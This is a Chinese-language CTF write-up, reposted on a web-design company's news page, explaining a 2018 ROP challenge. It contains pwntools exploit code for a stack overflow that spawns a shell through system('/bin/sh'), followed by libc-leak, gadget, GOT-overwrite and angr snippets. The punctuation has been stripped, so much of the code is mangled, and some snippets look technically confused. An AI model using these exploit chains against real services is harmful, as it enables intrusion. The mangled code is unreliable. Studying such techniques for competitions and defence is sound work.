ARTICLE DETAIL

资讯详情

深耕郑州网站建设与运营推广的一线实战洞察。

ROP技术实战:从二进制漏洞到系统攻防

ROP技术实战:从二进制漏洞到系统攻防 1. 项目背景与ROP技术概述2018年第五赛区铁人三项赛事中的ROP挑战题是典型的二进制漏洞利用项目。ROPReturn-Oriented Programming作为现代系统安全防护机制下的攻击技术通过复用已有代码片段gadgets来绕过DEP数据执行保护等安全措施。这道题目集中考察了选手在内存布局分析、指令片段挖掘和调用链构建方面的能力。在实际渗透测试中ROP技术常被用于突破那些启用了NX/DEP保护的服务程序。与传统的shellcode注入不同ROP不需要向进程注入可执行代码而是巧妙地组合目标程序本身或其所加载库中的指令片段。这种技术最早由Hovav Shacham在2007年系统性地提出现已成为二进制安全领域的必修课。2. 题目环境搭建与初步分析2.1 实验环境准备建议使用Ubuntu 18.04 LTS作为基础环境这是与2018年比赛环境最接近的系统版本。需要安装的核心工具包括pwntoolsPython编写的漏洞利用框架版本4.0ROPgadget自动化gadget查找工具版本5.4GDB with peda增强版调试器checksec安全机制检测脚本sudo apt install python3-pip pip3 install pwntools sudo apt install ropgadget git clone https://github.com/longld/peda.git ~/peda echo source ~/peda/peda.py ~/.gdbinit2.2 二进制文件基础分析首先使用checksec检查目标程序的安全机制checksec rop_challenge [*] /tmp/rop_challenge Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)关键信息解读32位小端架构开启NX不可执行栈未启用地址随机化PIE无栈保护canary这提示我们需要通过ROP技术绕过NX保护同时由于地址固定不需要考虑地址泄露问题。3. 漏洞定位与利用规划3.1 缓冲区溢出漏洞确认通过逆向分析或fuzz测试可发现程序存在典型的栈溢出漏洞。在用户输入函数如gets/scanf处输入超长字符串会导致程序崩溃。使用cyclic模式确认溢出偏移量from pwn import * p process(./rop_challenge) payload cyclic(500) p.sendline(payload) p.wait() core p.corefile offset cyclic_find(core.eip) print(fOffset: {offset})假设输出显示偏移量为140意味着我们需要在140字节后覆盖返回地址。3.2 可利用函数分析使用radare2或IDA检查二进制文件的导入函数rabin2 -i rop_challenge [Imports] nth vaddr bind type lib name ――――――――――――――――――――――――――――――――――――― 1 0x080483c0 GLOBAL FUNC gets 2 0x080483d0 GLOBAL FUNC system 3 0x080483e0 GLOBAL FUNC __libc_start_main发现存在危险的gets函数和关键的系统调用system。但进一步检查字符串rabin2 -z rop_challenge [Strings] nth paddr vaddr len size section type string ――――――――――――――――――――――――――――――――――――――――――――――――――――― 0 0x00000648 0x08048648 17 18 .rodata ascii /bin/sh幸运的是程序中已经存在/bin/sh字符串地址为0x08048648。这意味着我们可以直接构造system(/bin/sh)的调用。4. ROP链构造实战4.1 基础ROP链构建对于32位程序函数调用遵循cdecl约定参数通过栈传递。构造system调用的基本思路覆盖返回地址为system函数地址0x080483d0在返回地址后放置/bin/sh字符串地址填充必要的返回地址可设为exit函数地址对应的payload结构[140字节填充][system地址][fake返回地址][/bin/sh地址]Python实现from pwn import * context(archi386, oslinux) system_addr 0x080483d0 binsh_addr 0x08048648 payload bA*140 payload p32(system_addr) payload p32(0xdeadbeef) # 虚构返回地址 payload p32(binsh_addr) p process(./rop_challenge) p.sendline(payload) p.interactive()4.2 复杂ROP链进阶当程序中没有现成的system和/bin/sh时需要更复杂的ROP链。典型步骤泄露libc地址通过puts/got计算system实际地址将/bin/sh写入可写内存构造最终调用示例代码片段# 泄露puts的got表地址 rop ROP(elf) rop.call(puts, [elf.got[puts]]) rop.call(main) # 返回main函数重新利用 # 发送第一阶段payload p.sendline(flat({offset: rop.chain()})) puts_addr u32(p.recv(4)) # 计算system地址假设已知libc版本 libc ELF(/lib/i386-linux-gnu/libc.so.6) libc_base puts_addr - libc.symbols[puts] system_addr libc_base libc.symbols[system]5. Gadget挖掘与链式调用5.1 关键gadget查找使用ROPgadget工具查找有用指令片段ROPgadget --binary rop_challenge --only pop|ret Gadgets information 0x0804843d : pop ebp ; ret 0x0804843c : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0x0804835d : pop ebx ; ret 0x0804843f : pop edi ; pop ebp ; ret 0x0804843e : pop esi ; pop edi ; pop ebp ; ret对于参数传递我们需要关注pop指令。例如0x0804835d的pop ebx; ret可以用于加载单个参数。5.2 多参数调用构造当需要调用如execve这样的多参数函数时需要更复杂的链式结构。示例[填充][pop ebx; ret][arg1][pop ecx; ret][arg2][函数地址]对应的pwntools实现rop ROP(elf) rop.execve(ebxbin_sh_addr, ecx0, edx0) print(rop.dump())6. 漏洞利用的稳定性优化6.1 栈对齐问题处理在某些架构和环境下函数调用时需要栈指针16字节对齐。可以通过插入额外的ret指令来调整rop.raw(rop.ret) # 添加额外ret指令对齐栈 rop.system(bin_sh_addr)6.2 坏字符处理当输入中存在被过滤的字符如\x00、\x0a等需要识别坏字符列表选择不包含坏字符的地址使用编码技术如XOR编码badchars b\x00\x0a\x0d # 示例坏字符 rop ROP(elf, badcharsbadchars) # pwntools会自动规避7. 防御措施与绕过技巧7.1 常见防护机制现代系统针对ROP的防护包括ASLR地址空间随机化Stack Canary栈保护CFG控制流完整性Shadow Stack影子栈7.2 部分RELRO下的GOT改写当程序为Partial RELRO时可考虑改写GOT表项# 将strcmp的GOT项改为system地址 rop ROP(elf) rop.raw(elf.plt[write]) # 任意写原语 rop.raw(elf.got[strcmp]) rop.raw(system_addr)8. 自动化工具实战8.1 pwntools的ROP模块现代漏洞利用框架大大简化了ROP链构造from pwn import * context.binary elf ELF(./rop_challenge) rop ROP(elf) # 自动查找可用gadget rop.system(next(elf.search(b/bin/sh))) print(rop.dump()) # 生成最终payload payload flat({140: rop.chain()})8.2 angr符号执行辅助对于复杂约束可使用符号执行引擎import angr p angr.Project(./rop_challenge) simgr p.factory.simulation_manager(p.factory.full_init_state()) simgr.explore(findlambda s: bshell in s.posix.dumps(1))9. 赛后复盘与经验总结这道2018年的ROP题目虽然现在看来是基础题型但包含了二进制漏洞利用的多个核心要点基础栈溢出漏洞识别NX绕过技术选择函数调用约定理解工具链熟练使用在实际渗透测试中遇到现代防护机制时还需要结合堆漏洞利用技巧地址泄露技术多阶段攻击链构造一个专业的漏洞利用开发流程应该包括目标分析安全机制、函数表、字符串漏洞确认输入点、溢出长度利用原语构建读写、跳转利用链设计功能实现稳定性优化坏字符、环境适配
返回列表